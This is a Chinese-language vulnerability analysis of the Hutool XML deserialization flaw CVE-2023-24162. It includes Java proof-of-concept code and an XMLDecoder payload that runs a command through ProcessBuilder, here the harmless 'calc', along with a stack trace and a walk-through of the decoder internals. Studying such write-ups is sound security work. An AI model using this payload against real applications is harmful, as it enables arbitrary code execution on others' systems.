hutool XML反序列化漏洞(CVE-2023-24162)

漏洞简介

　　Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据，当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

漏洞复现

　　我们在 maven 仓库中查找 Hutool

　　https://mvnrepository.com/search?q=Hutool

　　把依赖复制出来，添加到项目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency>
    <groupId>cn.hutool</groupId>
    <artifactId>hutool-all</artifactId>
    <version>5.8.11</version>
</dependency>

　　添加完成后刷新一下 maven 依赖

　　我们编写代码

import cn.hutool.core.util.XmlUtil;
public class Test {
    public static void main(String[] args)  {
        XmlUtil.readObjectFromXml("<java>\n" +
                "    <object class=\"java.lang.ProcessBuilder\">\n" +
                "        <array class=\"java.lang.String\" length=\"1\">\n" +
                "            <void index=\"0\">\n" +
                "                <string>calc</string>\n" +
                "            </void>\n" +
                "        </array>\n" +
                "        <void method=\"start\"></void>\n" +
                "    </object>\n" +
                "</java>\n");
    }
}

　　在项目目录下创建一个 bean.xml 文件，将 xml 放在文件中，构造代码也可以触发

import cn.hutool.core.util.XmlUtil;
import java.io.File;

public class Test {
    public static void main(String[] args)  {
        File file = new File("bean.xml");
        XmlUtil.readObjectFromXml(file);
    }
}

漏洞分析

　　整个漏洞分析下来相对来时是比较简单的，但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

　　cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

　　当然这个地方也是可以通过读取文件来实现的

　　cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

　　cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

　　java.beans.XMLDecoder#readObject

　　漏洞本质上是 java 原生方法中的漏洞，XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法就可以避免这个漏洞的产生。

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漏洞修复

　　在最新版的 hutool-all 没有用黑名单，而是直接移除了 readObjectFromXml 方法，简单粗暴。

XMLDecoder.readObject

<java>
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

　　object 标签，class 的值对应着实例化的全类名（java.lang.ProcessBuilder）

　　array 标签，class 的值对应着实例化的全类名对象构造的参数（ProcessBuilder 对象的构造参数）

　　void 标签，method 的值对应着 method 的参数（start）

　　最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

　　‍

　　为了方便看到整个调用联的流程，我们在触发漏洞的位置加上断点，分析其中经过了那些处理

　　java.lang.ProcessBuilder#start

　　‍

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

　　‍

　　比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument开始对 xml 进行解析

　　‍

　　先简单描述一下我的理解，然后再截图与之相对应，可能部分理解并不完全正确

　　根据 xml 文件的中的标识来识别开始还是结束 < 对应着开始，</ 对应着结束

　　解析时会调用相对应的 Handler 进行处理，Handler 在 DocumentHandler.class 中被定义，通过节点名获取对应的handler

　　解析到结束标识时会调用到相对应的 Handler 中的 getValueObject 方法最后实现命令执行（这里描述比较简单，后面根据代码在详细描述）

　　‍

　　com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

　　这里是一个 do while 的循环直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT

　　‍

　　com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

　　com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

　　‍

　　com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

　　com.sun.beans.decoder.DocumentHandler#DocumentHandler

　　对应的 Handler 是根据节点返回的，最主要的漏洞触发位置应该是endElement 中

　　com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

　　com.sun.beans.decoder.DocumentHandler#endElement

　　调用 StringElementHandler 对应的 endElement 方法，StringElementHandler 没有这个方法，调用其父类 ElementHandler 中 endElement

　　com.sun.beans.decoder.ElementHandler#endElement

　　com.sun.beans.decoder.StringElementHandler#getValueObject

　　最后返回获取到的值是 calc 添加到其父类对应的 Argument 属性

　　com.sun.beans.decoder.NewElementHandler#addArgument

　　接着将 handler 指向上一级的 handler VoidElementHandler

　　调用 VoidElementHandler 对应的 endElement 方法，VoidElementHandler 没有这个方法，调用其父类 ObjectElementHandler 的父类NewElementHandler 的父类 ElementHandler 中 endElement

　　com.sun.beans.decoder.ElementHandler#endElement